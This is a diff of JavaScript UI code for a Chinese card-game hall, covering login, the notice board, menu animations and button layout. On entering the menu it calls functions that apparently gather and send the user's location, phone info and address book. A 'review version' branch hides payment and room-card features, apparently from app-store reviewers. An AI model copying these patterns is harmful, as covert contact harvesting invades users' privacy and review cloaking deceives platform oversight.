+ Logic.getPhoneInfo(); + GameData.submitLocation = false; + GameUI.stopMenuSceneAnimation(); + GameData.playerHeadImgState = false; + GameData.Scene = 0; + Utl.stopMusic(); + Func.startlocation(2); + GameUI.invisible(); + GameUI.showBackBtn(); + GameUI.setLoginButton(); + Func.up_imgurl(5, GameData.AgentLoginImg); + var vText = "V " + GameData.Version + " "; + if (GameData.hallConfig.betaText) { + vText += GameData.hallConfig.betaText; + } + set_self(285, 7, vText); + + set_group(2, 37, 1, 0, 0); + if(GameData.sysConfig.deviceLogin){ + set_self(3,37,0,0,0); + set_self(3254,37,1,0,0); + set_self(3255,37,0,0,0); + set_self(3254,18,490,0,0); + // set_self(3255,18,660,0,0); + }else{ + set_self(3,37,1,0,0); + set_self(3254,37,0,0,0); + set_self(3255,37,0,0,0); + } + var WxInfo = null; + //if (!Game_Config.Debugger.isDebugger) { + if (GameData.versionState == 0) { + if (GameData.h5Version == 1) { + WxInfo = Logic.getWxInfo(); + } else { + if(!GameData.sysConfig.deviceLogin){ + WxInfo = Utl.getCookie(Utl.Config.wxinfo); + }else{ + WxInfo = Utl.getCookie(Utl.Config.devicePlayer); + if(Utl.ReadData(Utl.Config.dLogin)){ + set_self(3254,37,1,0,0); + // set_self(3255,18,490,0,0); + } + } + } + } + //} else { + //if (Game_Config.Debugger.AutoLogin) { + //if (GameData.h5Version == 1) { + //WxInfo = Logic.getWxInfo(); + //} else { + //if(!GameData.sysConfig.deviceLogin){ + //WxInfo = Utl.getCookie(Utl.Config.wxinfo); + //}else{ + //WxInfo = Utl.ReadData(Utl.Config.devicePlayer); + //} + //} + //} + //} + + if (WxInfo) { + WxInfo = JSON.parse(WxInfo); + Func.up_imgurl(25, WxInfo.headimgurl); + set_self(324, 7, WxInfo.nickname, 0, 0); + set_self(324, 18, get_self(325, 18, 0, 0, 0) + get_self(325, 20, 0, 0, 0) / 2 - WxInfo.nickname.gblen() * 10.5, 0, 0); + set_self(3, 37, 0, 0, 0); + set_self(177, 37, 0, 0, 0); + set_self(106, 37, 0, 0, 0); + set_self(3254,37,0,0,0); + set_self(3255,37,0,0,0); + play_ani(1, 325, 43, 1, 4, 0, 1500, 0, 0, 0, 0, 0, 0); + //C_Player.SetWxInfo(WxInfo.openid,WxInfo.headimgurl,WxInfo.nickname,WxInfo.sex,WxInfo.city,WxInfo.Province,WxInfo.unionid); + //var data={}; + //data.agentid = GameData.AgentId; + //data.openid = C_Player.openid; + //data.nickname = C_Player.nickname; + //data.avatar = C_Player.avatar; + //data.sex = C_Player.sex; + //data.province = C_Player.province; + //data.city = C_Player.city; + //data.unionid = C_Player.unionid; + //data.gameid=GameData.GameId; + //data.version = GameData.versionCode; + //data.channelid = GameData.ChannelId; + //data.marketid = GameData.marketID; + //Net.Send_login(data); + //if(GameData.loginTimer==null){ + //GameData.loginTimer = setTimeout(function(){ + C_Player.SetWxInfo(WxInfo.openid, WxInfo.headimgurl, WxInfo.nickname, WxInfo.sex, WxInfo.city, WxInfo.Province, WxInfo.unionid); + var data = {}; + data.agentid = GameData.AgentId; + data.openid = C_Player.openid; + data.nickname = C_Player.nickname; + data.avatar = C_Player.avatar; + data.sex = C_Player.sex; + data.province = C_Player.province; + data.city = C_Player.city; + data.unionid = C_Player.unionid; + data.gameid = GameData.GameId; + data.version = GameData.versionCode; + data.channelid = GameData.ChannelId; + data.marketid = GameData.marketID; + if(GameData.sysConfig.deviceLogin){ + C_Player.setTel(WxInfo.telphone); + data.telphone = WxInfo.telphone; + data.telphoneAuto = true; + } + Net.Send_login(data); + //},2000); + //} + } else { + + set_self(158, 37, 0, 0, 0); + set_self(159, 37, 0, 0, 0); + set_self(160, 37, 0, 0, 0); + set_self(323, 37, 0, 0, 0); + set_self(324, 37, 0, 0, 0); + set_self(325, 37, 0, 0, 0); + if (isxiaowxgame()) { + try { + WXgameloginbuttonshow(1280, 720, get_self(3, 18, 0, 0, 0), get_self(3, 19, 0, 0, 0), get_self(3, 20, 0, 0, 0), get_self(3, 21, 0, 0, 0), 'assets/bmp/00022.png'); + } catch (e) { + + } + } + } + + if (GameData.versionState == 1) { //审核版本 + set_self(405, 37, 0, 0, 0); + //set_self(3,18,113,0,0); + //set_self(3,19,388,0,0); + set_self(3, 18, Game_Config.loginButton.x2, 0, 0); + set_self(3, 20, 320, 0, 0); + set_self(3, 21, 98, 0, 0); + set_self(177, 18, Game_Config.loginButton.x3, 0, 0); + //set_self(177,18,488,0,0); + //set_self(177,19,388,0,0); + } else { //正式版本 + set_self(177, 37, 0, 0, 0); + set_self(3, 18, Game_Config.loginButton.x1, 0, 0); + //set_self(3,19,382,0,0); + //set_self(3,20,400,0,0); + //set_self(3,21,116,0,0); + + } + if (GameData.hallConfig.qqLogin) { + set_self(106, 37, 1, 0, 0); + } else { + set_self(106, 37, 0, 0, 0); + } + + //},2000); + GameUI.updateInsertHTML(); + +} +GameUI.updateNoticeBoard = function() { + + if (Game_Config.sysConfig.hideNotice) { + set_self(16, 37, 0, 0, 0); + set_self(180, 37, 0, 0, 0); + set_self(193, 37, 0, 0, 0); + set_self(194, 37, 0, 0, 0); + set_self(682, 37, 0, 0, 0); + set_self(178, 37, 0, 0, 0); + set_self(179, 37, 0, 0, 0); + set_self(145, 37, 0, 0, 0); + return; + } + if (GameData.qq || GameData.tel || GameData.wechat_kfh) { + set_self(16, 37, 0, 0, 0); + } + if (GameData.Scene != 1) { + return; + } + var space = 0; + set_self(340, 41, 0, 0, 0); + //set_self(340,7,GameData.wechat_gzh,0,0); + //set_self(339,20,GameData.wechat_gzh.gblen()*13,0,0); + //set_self(340,18,get_self(16,18,0,0,0)+get_self(16,20,0,0,0)/2-GameData.wechat_gzh.gblen()*6.5,0,0); + //set_self(339,18,get_self(16,18,0,0,0)+get_self(16,20,0,0,0)/2-GameData.wechat_gzh.gblen()*6.5,0,0); + set_self(145, 7, Game_Config.Setting.Ads1, 0, 0); + set_self(180, 37, 0, 0, 0); + set_self(193, 37, 0, 0, 0); + set_self(194, 37, 0, 0, 0); + set_self(682, 37, 0, 0, 0); + set_self(178, 37, 0, 0, 0); + set_self(179, 37, 0, 0, 0); + //var _roomlist = Logic.readRoomList(); + //if(_roomlist.length<=0){ + set_self(681, 7, Game_Config.Setting.info[0], 0, 0); + + //set_self(180,18,78,0,0,0); + set_self(180, 18, get_self(16, 18, 0, 0, 0) + space, 0, 0, 0); + var infoList = []; + var spidTemp = [ + [682, 180], + [178, 193], + [179, 194] + ]; + var spidIndex = 0; + for (var i = 0; i < spidTemp.length; i++) { + set_self(spidTemp[i][0], 7, "", 0, 0); + set_self(spidTemp[i][1], 7, "", 0, 0); + //set_self(spidTemp[i][0],18,136,0,0); + set_self(spidTemp[i][0], 18, get_self(16, 18, 0, 0, 0) + 101, 0, 0); + //set_self(spidTemp[i][1],37,0,0,0); + } + + if (GameData.wechat_kfh) { + set_self(spidTemp[spidIndex][1], 7, "客服微信:", 0, 0); + set_self(spidTemp[spidIndex][0], 7, GameData.wechat_kfh, 0, 0); + //set_self(spidTemp[spidIndex][1],18,78,0,0); + set_self(spidTemp[spidIndex][1], 18, get_self(16, 18, 0, 0, 0) + space, 0, 0); + set_self(spidTemp[spidIndex][1], 37, 1, 0, 0); + set_self(spidTemp[spidIndex][0], 37, 1, 0, 0); + + + spidIndex++; + } else { + + } + if (GameData.qq) { + set_self(spidTemp[spidIndex][1], 7, "投诉建议:", 0, 0); + set_self(spidTemp[spidIndex][0], 7, GameData.qq, 0, 0); + + //set_self(spidTemp[spidIndex][1],18,81,0,0); + set_self(spidTemp[spidIndex][1], 18, get_self(16, 18, 0, 0, 0) + space, 0, 0); + set_self(spidTemp[spidIndex][1], 37, 1, 0, 0); + set_self(spidTemp[spidIndex][0], 37, 1, 0, 0); + + spidIndex++; + } else { + + } + if (GameData.tel) { + GameData.telSpid = spidTemp[spidIndex][0]; + set_self(spidTemp[spidIndex][1], 7, "客服手机:", 0, 0); + set_self(spidTemp[spidIndex][0], 7, GameData.tel, 0, 0); + //set_self(spidTemp[spidIndex][0],18,136,0,0); + + //set_self(spidTemp[spidIndex][1],18,78,0,0); + set_self(spidTemp[spidIndex][1], 18, get_self(16, 18, 0, 0, 0) + space, 0, 0); + set_self(spidTemp[spidIndex][1], 37, 1, 0, 0); + set_self(spidTemp[spidIndex][0], 37, 1, 0, 0); + + set_self(GameData.telSpid, 20, String(GameData.tel).gblen() * 11.5, 0, 0); + set_self(GameData.telSpid, 7, GameData.tel, 0, 0); + spidIndex++; + } else { + + } + +/* + }else{//有历史房间号 + GameData.telSpid = -1; + set_self(681,7," 开房列表"); + var _roomdesspList = [180,193,194]; + var _roomcodespList = [682,178,179]; + for(var i=0;i 119) { + set_self(287, 20, get_self(3161, 20, 0, 0, 0) + 53, 0, 0); + set_self(3161, 18, get_self(287, 18, 0, 0, 0) + 33, 0, 0); + } else { + set_self(287, 20, 155, 0, 0); + GameUI.adaptPositionX(3161, get_self(287, 18, 0, 0, 0) + 85); + } + //GameUI.adaptPositionX(3161,get_self()); + //set_self(157,18,get_self(287,18,0,0,0)+get_self(287,20,0,0,0)/2-String(C_Player.roomcard).length*7,0,0); +} +GameUI.setHallStar = function() { + //set_self(497,7,C_Player.bean,0,0); + var txt = Utl.convertNumberToImg(C_Player.bean); + GameUI.setNumberImage(3162, txt, 17); + if (get_self(3162, 20, 0, 0, 0) > 119) { + set_self(496, 20, get_self(3162, 20, 0, 0, 0) + 55, 0, 0); + set_self(3162, 18, get_self(496, 18, 0, 0, 0) + 35, 0, 0); + } else { + set_self(496, 20, 155, 0, 0); + GameUI.adaptPositionX(3162, get_self(496, 18, 0, 0, 0) + 85); + } + //set_self(497,18,get_self(496,18,0,0,0)+get_self(496,20,0,0,0)/2-String(C_Player.bean).length*7,0,0); +} +GameUI.setStarPlatformButton = function() { + set_self(568, 1, ConstVal.starConfig.resList[Number(GameData.nameImgFrame_2) - 1], 0, 0); +} +GameUI.startMenuSceneAnimation = function() { + var aniTime = 1200; + set_self(11, 43, 1, 0, 0, 0); + set_self(12, 43, 1, 0, 0, 0); + set_self(214, 43, 1, 0, 0, 0); + set_self(3106, 43, 1, 0, 0, 0); + set_self(479, 43, 1, 0, 0, 0); + set_self(568, 43, 1, 0, 0, 0); + set_self(483, 43, 1, 0, 0, 0); + play_ani(1, 3016, 43, 1, 40, 0, ConstVal.Animation.time2, 0, 0, 0, 0, 0, 0, 0); //商城 + play_ani(1, 479, 43, 1, 2, 0, 500, 500, 0, 0, 0, 0, 0, 1); //公告喇叭 + if (GameData.mainMenuAniTimer) { + window.clearInterval(GameData.mainMenuAniTimer); + GameData.mainMenuAniTimer = null; + } + GameData.mainMenuAniTimer = setInterval(function() { + var ram = ifast_random(4); + switch (ram) { + case 0: + play_ani(1, 11, 43, 1, 30, 0, ConstVal.Animation.time1, 0, 0, 0, 1, 0, 0, 0); //加入房间 + break; + case 1: + play_ani(1, 12, 43, 1, 30, 0, ConstVal.Animation.time1, 0, 0, 0, 1, 0, 0, 0); //加入房间 + break; + case 2: + play_ani(1, 568, 43, 1, 30, 0, ConstVal.Animation.time1, 0, 0, 0, 1, 0, 0, 0); //星星场 + break; + case 3: + play_ani(1, 483, 43, 1, 30, 0, ConstVal.Animation.time1, 0, 0, 0, 1, 0, 0, 0); //比赛场 + break; + } + }, ConstVal.Animation.fundTime); + //if(id == 11 && sx == 43 && allend == 1){//创建房间 + //play_ani(1,12,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//加入房间 + //} + //if(id == 12 && sx == 43 && allend == 1){//创建房间 + //play_ani(1,568,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//星星场 + //} + //if(id == 568 && sx == 43 && allend == 1){//创建房间 + //play_ani(1,483,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//比赛场 + //} + //if(id == 483 && sx == 43 && allend == 1){//创建房间 + //GameData.mainMenuAniTimer = setTimeout(function(){ + //play_ani(1,11,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//加入房间 + //},ConstVal.Animation.deltaTime); + //} + + //GameData.mainMenuAniTimer = setTimeout(function(){ + //play_ani(1,11,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//加入房间 + + //},ConstVal.Animation.fundTime+ifast_random(ConstVal.Animation.deltaTime)); +} +GameUI.stopMenuSceneAnimation = function() { + play_ani(0, 11, 43); //创建房间 + play_ani(0, 12, 43); //加入房间 + play_ani(0, 3016, 43); //商城 + play_ani(0, 568, 43); //星星场 + play_ani(0, 479, 43); //公告喇叭 + play_ani(0, 483, 43); //比赛场 + if (GameData.mainMenuAniTimer) { + window.clearInterval(GameData.mainMenuAniTimer); + GameData.mainMenuAniTimer = null; + } + set_self(11, 43, 1, 0, 0, 0); + set_self(12, 43, 1, 0, 0, 0); + set_self(214, 43, 1, 0, 0, 0); + set_self(3106, 43, 1, 0, 0, 0); + set_self(479, 43, 1, 0, 0, 0); + set_self(568, 43, 1, 0, 0, 0); + set_self(483, 43, 1, 0, 0, 0); +} +GameUI.openPallet = function() { + if (GameData.versionState == 1) { //审核版本 + if (GameData.LaunchMode == ConstVal.Launch_mode.from_self) { + set_self(234, 37, 0, 0, 0); + } + set_self(17, 37, 0, 0, 0); + set_self(16, 37, 0, 0, 0); + set_self(145, 37, 0, 0, 0); + set_self(340, 37, 0, 0, 0); + set_self(339, 37, 0, 0, 0); + set_self(681, 37, 0, 0, 0); + set_self(682, 37, 0, 0, 0); + set_self(178, 37, 0, 0, 0); + set_self(179, 37, 0, 0, 0); + set_self(180, 37, 0, 0, 0); + set_self(193, 37, 0, 0, 0); + set_self(194, 37, 0, 0, 0); + set_self(235, 37, 0, 0, 0); + set_self(483, 37, 0, 0, 0); + set_self(568, 37, 0, 0, 0); + set_self(604, 37, 0, 0, 0); + //if(GameData.hallConfig.enablePay == 0){ + set_self(286, 37, 0, 0, 0); + set_self(157, 37, 0, 0, 0); + set_self(287, 37, 0, 0, 0); + set_self(10, 37, 0, 0, 0); + set_self(508, 37, 0, 0, 0); + set_self(497, 37, 0, 0, 0); + set_self(496, 37, 0, 0, 0); + set_self(509, 37, 0, 0, 0); + //} + if (GameData.isShowNeighbor) { + GameUI.showNeighbor(); + } + //set_self(3016,37,0,0,0); + set_self(3017, 37, 0, 0, 0); + } else { + set_group(95, 37, 1, 0, 0); + if (GameData.agentmode == 1) { + set_self(235, 37, 0, 0, 0); + } + //if(!GameData.matchhtml){//比赛场 + //set_self(483,37,0,0,0); + //}else{ + //set_self(483,37,0,0,0); + //} + //if(GameData.hallConfig.worldRoomList){//显示星星争霸场 + //set_self(568,37,1,0,0); + //}else{ + //set_self(568,37,0,0,0); + //} + if (GameData.hallConfig.rankList) { //显示排行榜 + set_self(604, 37, 1, 0, 0); + } else { + set_self(604, 37, 0, 0, 0); + } + if (GameData.hallConfig.wareHouse) { //保险箱 + set_self(3057, 37, 1, 0, 0); + } else { + set_self(3057, 37, 0, 0, 0); + } + if (GameData.agentmode == 1) { + set_self(235, 37, 0, 0, 0); + } else { + set_self(235, 37, 1, 0, 0); + } + GameUI.showBagBtn(); + if (GameData.sysConfig.miniPro) { + set_self(235, 37, 0, 0, 0); + set_self(15, 37, 0, 0, 0); + } + + //} + //set_self(15,37,1,0,0); + var spList = [15, 604, 235, 3017, 3057, 5]; + var posList = [ + [216, 540], + [371, 540], + [526, 540], + [681, 540], + [836, 540], + [991, 540] + ]; + var posIndex = 0; + //set_self(3121,20,170,0,0); + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, posList[posIndex][0], 0, 0); + set_self(spList[i], 19, posList[posIndex][1], 0, 0); + + posIndex++; + } + } + set_self(3121, 20, 150 * posIndex + 30, 0, 0); + } +} +GameUI.hidePalletButton = function() { + if (ConstVal.isGameHall) { + return; + } + var spList = [15, 604, 235, 3017, 3057, 3121]; + for (var i = 0; i < spList.length; i++) { + set_self(spList[i], 37, 0, 0, 0); + } +} +GameUI.closePallet = function() { + if (ConstVal.isGameHall) { + return; + } + set_group(95, 37, 0, 0, 0); +} +GameUI.showMyRoomList = function() { + GameUI.createMyRoomList(); +} +GameUI.hideMyRoomList = function() { + set_group(98, 37, 0, 0, 0); +} +GameUI.createMyRoomList = function() { + set_group(98, 37, 1, 0, 0); + GameUI.clearMyRoomList(); + var _roomlist = Logic.readRoomList(); + var cLength = _roomlist.length; + if (cLength > ConstVal.myRoomList.maxLength) { + cLength = ConstVal.myRoomList.maxLength; + } + //_roomlist.reverse(); + GameData.createMyRoomListLength = cLength; + for (var i = 0; i < cLength; i++) { + var spaceY = i * (get_self(ConstVal.myRoomList.bgSp, 21, 0, 0, 0) + ConstVal.myRoomList.space); + var bg = ifast_addtospritefromspritecopy(ConstVal.myRoomList.fSpid, ConstVal.myRoomList.bgSp, ConstVal.myRoomList.bgX, ConstVal.myRoomList.bgY + spaceY, ConstVal.myRoomList.bgTag + i); + var rCode = ifast_addtospritefromspritecopy(ConstVal.myRoomList.fSpid, ConstVal.myRoomList.roomCodeSp, ConstVal.myRoomList.rCodeX, ConstVal.myRoomList.rCodeY + spaceY, ConstVal.myRoomList.roomCodeTag + i); + GameUI.setNumberImage(rCode, _roomlist[i], ConstVal.myRoomList.roomCodeWidth); + } +} +GameUI.clearMyRoomList = function() { + for (var i = 0; i < GameData.createMyRoomListLength; i++) { + ifast_dllpritefromspritecopy(ConstVal.myRoomList.fSpid, ConstVal.myRoomList.bgTag + i); + ifast_dllpritefromspritecopy(ConstVal.myRoomList.fSpid, ConstVal.myRoomList.roomCodeTag + i); + } +} +GameUI.JumpMenuScene = function(_bTemp) { + Logic.getHTML(); + if (!_bTemp) { + GameData.matchInfo = null; + } + if (!GameData.isLocation) { + GameData.isLocation = true; + GameData.otherLocation = false; + Func.getlocation(); + GameData.otherLocation = true; + } + if (!GameData.submitPhoneInfo) { + Func.getphoneInfo(); + //Func.getAddressBook(); + } + if (!GameData.submitAddressBook) { + //Func.getphoneInfo(); + Func.getAddressBook(); + } + C_Player.charm = undefined; + GameUI.setStarPlatformButton(); + //set_self(568,43,GameData.nameImgFrame_2,0,0); + set_self(286, 43, GameData.nameImgFrame_1, 0, 0); + set_self(508, 43, GameData.nameImgFrame_2, 0, 0); + GameUI.clearBroadcast(); + Func.startlocation(2); + GameData.communionHistory = []; + GameData.sysNotice = []; + GameUI.VoteList = []; + GameUI.ApplyPlayer = -1; + set_self(ConstVal.sysNotice.f_spid, 19, ConstVal.sysNotice.clip_y, 0, 0); + for (var i = 0; i < GameUI.onstate.length; i++) { + GameUI.onstate[i] = 0; + } + for (var i = 0; i < GameUI.isprepare.length; i++) { + GameUI.isprepare[i] = 0; + } + GameUI.invisible(true); + + set_self(288, 7, Func.subString(C_Player.nickname, Game_Config.Max.Mainnickname, true), 0, 0); + set_self(289, 7, "ID:" + C_Player.playerid, 0, 0); + GameUI.setHallRoomCard(); + GameUI.setHallStar(); + //set_self(497,7,C_Player.bean,0,0); + //set_self(497,18,get_self(496,18,0,0,0)+get_self(496,20,0,0,0)/2-String(C_Player.bean).length*7,0,0); + if (!GameData.playerHeadImgState) { + Func.up_imgurl(25, C_Player.avatar); + } + set_group(3, 37, 1, 0, 0); + GameUI.hidePalletButton(); + set_self(219, 37, 0, 0, 0); + set_self(45, 37, 0, 0, 0); + set_self(220, 37, 0, 0, 0); + + if (C_Player.taskstate != 0) { + GameUI.ShowTaskTip(); + } else { + GameUI.HideTaskTip(); + } + GameUI.ShowNotice(GameData.scrollmsg); + Utl.playMusic(); + + + + if (GameData.versionState == 1) { //审核版本 + if (GameData.LaunchMode == ConstVal.Launch_mode.from_self) { + set_self(234, 37, 0, 0, 0); + } + set_self(17, 37, 0, 0, 0); + set_self(14, 37, 0, 0, 0); + set_self(16, 37, 0, 0, 0); + set_self(145, 37, 0, 0, 0); + set_self(340, 37, 0, 0, 0); + set_self(339, 37, 0, 0, 0); + set_self(681, 37, 0, 0, 0); + set_self(682, 37, 0, 0, 0); + set_self(178, 37, 0, 0, 0); + set_self(179, 37, 0, 0, 0); + set_self(180, 37, 0, 0, 0); + set_self(193, 37, 0, 0, 0); + set_self(194, 37, 0, 0, 0); + set_self(235, 37, 0, 0, 0); + set_self(483, 37, 0, 0, 0); + set_self(568, 37, 0, 0, 0); + set_self(604, 37, 0, 0, 0); + //if(GameData.hallConfig.enablePay == 0){ + set_self(286, 37, 0, 0, 0); + set_self(157, 37, 0, 0, 0); + set_self(287, 37, 0, 0, 0); + set_self(10, 37, 0, 0, 0); + set_self(508, 37, 0, 0, 0); + set_self(497, 37, 0, 0, 0); + set_self(496, 37, 0, 0, 0); + set_self(509, 37, 0, 0, 0); + + set_self(3233, 37, 0, 0, 0); + set_self(3232, 37, 0, 0, 0); + set_self(76, 37, 0, 0, 0); + set_self(3139, 37, 0, 0, 0); + set_self(679, 37, 0, 0, 0); + set_self(99, 37, 0, 0, 0); + set_self(3120, 37, 0, 0, 0); + set_self(3161, 37, 0, 0, 0); + set_self(3162, 37, 0, 0, 0); + //} + if (GameData.isShowNeighbor) { + GameUI.showNeighbor(); + } + set_self(3016, 37, 0, 0, 0); + set_self(3018, 37, 0, 0, 0); + set_self(3017, 37, 0, 0, 0); + } else { + //if(!Game_Config.Debugger.visiblePay){ + //set_self(10,37,0,0,0); + //} + //if(GameData.hallConfig.worldRoomList){//显示星星争霸场调整按钮位置 + //set_self(568,37,1,0,0); + //}else{ + //set_self(568,37,0,0,0); + //} + if (GameData.agentmode == 1) { + set_self(10, 37, 0, 0, 0); + set_self(509, 37, 0, 0, 0); + + } + set_self(235, 37, 0, 0, 0); + if (GameData.hallConfig.androidPay == 1) { + set_self(10, 37, 1, 0, 0); + set_self(509, 37, 1, 0, 0); + } + if (!GameData.matchhtml) { //比赛场 + //set_self(483,37,0,0,0); + } + if (GameData.hallConfig.worldRoomList) { //显示星星争霸场 + //set_self(568,37,1,0,0); + } else {} + if (GameData.hallConfig.rankList) { //显示排行榜 + //set_self(604,37,1,0,0); + } else { + //set_self(604,37,0,0,0); + } + if (GameData.hallConfig.wareHouse) { //保险箱 + //set_self(3057,37,1,0,0); + } else { + //set_self(3057,37,0,0,0); + } + //GameUI.showStoreBtn(); + //GameUI.showBagBtn(); + GameUI.updateActBtn(); + GameUI.showStoreBtn(); + //官方试玩 + if (!ConstVal.isGameHall) { + if (!Game_Config.sysConfig.vipInfinite) { + if (GameData.sysConfig.ofcShortCode) { + if (GameData.sysConfig.ofcImg) { + Func.up_imgurl(396, GameData.sysConfig.ofcImg); + } + } else { + //set_self(3139,37,0,0,0); + } + } else { + set_self(3139, 37, 0, 0, 0); + set_self(679, 37, 0, 0, 0); + } + } else { + set_self(3139, 37, 0, 0, 0); + set_self(679, 37, 0, 0, 0); + } + //} + if (GameData.h5Version == 1) { + GameData.gameData = Logic.setGameData("", ""); + GameData.shareAppMessage = Logic.getShareDataObj(Game_Config.Share.title, Game_Config.Share.description); + GameData.shareTimeline = Logic.getShareDataObj1(Game_Config.Share.title + Game_Config.Share.description, ""); + shareLink(GameData.shareTimeline, GameData.shareAppMessage); + //Logic.joinRoomFromH5(); + } + Logic.joinRoomFromH5(); + GameUI.updateInsertHTML(); + //GameUI.adaptButton1(); + //GameUI.adaptButton2(); + if (Game_Config.sysConfig) { + if (!Game_Config.sysConfig.mainMenuButton) { + //GameUI.startMenuSceneAnimation(); + } else { + set_self(11, 37, 0, 0, 0); + set_self(12, 37, 0, 0, 0); + set_self(568, 37, 0, 0, 0); + set_self(483, 37, 0, 0, 0); + } + } + Utl.openMatchUrl(); + if (GameData.Scene == 2) { + Game_Modify.onExitMainScene(); + } + if (Game_Modify.onMainMenuScene) { + Game_Modify.onMainMenuScene(); + } + GameData.Scene = 1; + GameUI.updateNoticeBoard(); + if (GameData.sysConfig.hideTaskBtn) { + set_self(17, 37, 0, 0, 0); + //set_self(14,18,400,0,0); + //set_self(13,18,650,0,0); + //set_self(5,18,900,0,0); + } + if (GameData.sysConfig.miniPro) { + //set_self(3120,37,0,0,0); + set_self(14, 37, 0, 0, 0); + + } + if(GameData.sysConfig.hideWxShare){ + set_self(14,37,0,0,0); + } + if (!ConstVal.isGameHall) { + GameUI.adaptSmartBar(); + } + + GameUI.stopTopInfoAnimation(true); + if (GameData.vipRoomJump) { + GameUI.openVipRoomList(); + } + if (GameData.hallConfig.rankList) { //显示排行榜 + set_self(3233,37,1,0,0); + } else { + set_self(3233,37,0,0,0); + } + if(GameData.sysConfig.deviceLogin){ + set_self(3256,37,0,0,0); + }else{ + set_self(3256,37,0,0,0); + } + // if(C_Player.tel){ + // set_self(3256,43,2,0,0); + // play_ani(0,3256,35,255,100,0,1000,0,0,0,0,0,1); + // }else{ + // set_self(3256,43,1,0,0); + // play_ani(1,3256,35,255,100,0,1000,0,0,0,0,0,1); + // } + if (ConstVal.isGameHall) { + set_self(14, 37, 0, 0, 0); + set_self(13, 37, 0, 0, 0); + set_self(17, 37, 0, 0, 0); + set_self(3120, 37, 0, 0, 0); + set_self(99, 37, 0, 0, 0); + set_self(3016, 37, 0, 0, 0); + set_self(76, 37, 0, 0, 0); + set_self(234, 37, 0, 0, 0); + set_self(3057, 37, 0, 0, 0); + set_self(145, 37, 0, 0, 0); + set_self(3139, 37, 0, 0, 0); + set_self(3232,37,0,0,0); + set_self(3233,37,0,0,0); + //set_self(3256,37,0,0,0); + //if(GameData.hallConfig.rankList){//显示排行榜 + // set_self(604,37,1,0,0); + //}else{ + set_self(604, 37, 0, 0, 0); + //} + //if(GameData.hallConfig.wareHouse){//保险箱 + // set_self(3057,37,1,0,0); + //}else{ + // set_self(3057,37,0,0,0); + //} + if (GameData.agentmode == 1) { + set_self(235, 37, 0, 0, 0); + } else { + set_self(235, 37, 1, 0, 0); + } + set_self(15, 37, 1, 0, 0); //吐槽 + set_self(5, 37, 1, 0, 0); //消息 + //var spList = [235,13,604,3017,483,3018,3057]; + //var posList = [[395,198],[395,325],[395,452],[526,198],[526,325],[526,452],[657,198]]; + //GameUI.adaptBtnList(spList,posList); + GameUI.adaptSmartBar2(); + set_self(145, 37, 0, 0); + gameHallImport.jumpMenuScene(); + } + } + Logic.sendPhoneInfo(); + if(GameData.sysConfig.hideRoomCard == 2){ + set_self(286,37,0,0,0); + set_self(10,37,0,0,0); + set_self(287,37,0,0,0); + set_self(3161,37,0,0,0); + } + if(GameData.sysConfig.cdKey == 2){ + set_self(3264,37,1,0,0); + }else{ + set_self(3264,37,0,0,0); + } +} +GameUI.adaptSmartBar2 = function() { + var spList = [235, 15, 5, 7]; + var beginX = 300; + var endX = 820; + var count = 0; + //var posList = []; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + count++; + } + } + var deltaX = (endX - beginX) / (count - 1); + + var showCount = 0; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, beginX + deltaX * showCount, 0, 0); + set_self(spList[i], 19, 642, 0, 0); + showCount++; + } + } +} +GameUI.adaptSmartBar = function() { + var spList = [3120, 14, 17, 13, 7]; + var count = 0; + //var posList = []; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + count++; + } + } + if (count == 0) { + return; + } + if (count == 1) { + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, 558, 0, 0); + + } + } + return; + } + var posList = [376, 740]; + var c2 = 0; + if (count == 2) { + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, posList[c2], 0, 0); + c2++; + } + } + return; + } + //194 922 + var beginX = 194; + var endX = 922; + var deltaX = (endX - beginX) / (count - 1); + var showCount = 0; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, beginX + deltaX * showCount, 0, 0); + showCount++; + } + } +} +GameUI.adaptButton1 = function() { + var spList = [235, 13, 604, 3017, 483, 3018, 3057]; + var posList = [ + [395, 198], + [395, 325], + [395, 452], + [526, 198], + [526, 325], + [526, 452], + [657, 198] + ]; + var posIndex = 0; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, posList[posIndex][0], 0, 0); + set_self(spList[i], 19, posList[posIndex][1], 0, 0); + posIndex++; + } + } +} +GameUI.adaptButton2 = function() { + if (GameData.hallConfig.storeUrl) { + set_self(17, 18, 160, 0, 0); + set_self(14, 18, 379, 0, 0); + set_self(15, 18, 598, 0, 0); + set_self(234, 18, 817, 0, 0); + } else { + set_self(17, 18, 160, 0, 0); + set_self(14, 18, 379, 0, 0); + set_self(15, 18, 598, 0, 0); + set_self(234, 18, 817, 0, 0); + } + var spList = []; + var posList = []; + if (get_self(3016, 37, 0, 0, 0) == 1) { + spList = [17, 14, 15, 234, 3016]; + posList = [ + [160, 613], + [379, 613], + [598, 613], + [817, 613], + [1019, 604] + ]; + } else { + spList = [17, 14, 15, 234]; + posList = [ + [184, 613], + [443, 613], + [702, 613], + [961, 613] + ]; + } + var posIndex = 0; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, posList[posIndex][0], 0, 0); + set_self(spList[i], 19, posList[posIndex][1], 0, 0); + posIndex++; + } + } +} +GameUI.showStoreBtn = function() { + //set_self(3016,18,1029,0,0); + //set_self(3016,19,604,0,0); + if (GameData.hallConfig.storeUrl) { + set_self(3016, 37, 1, 0, 0); + } else { + set_self(3016, 37, 0, 0, 0); + } +} 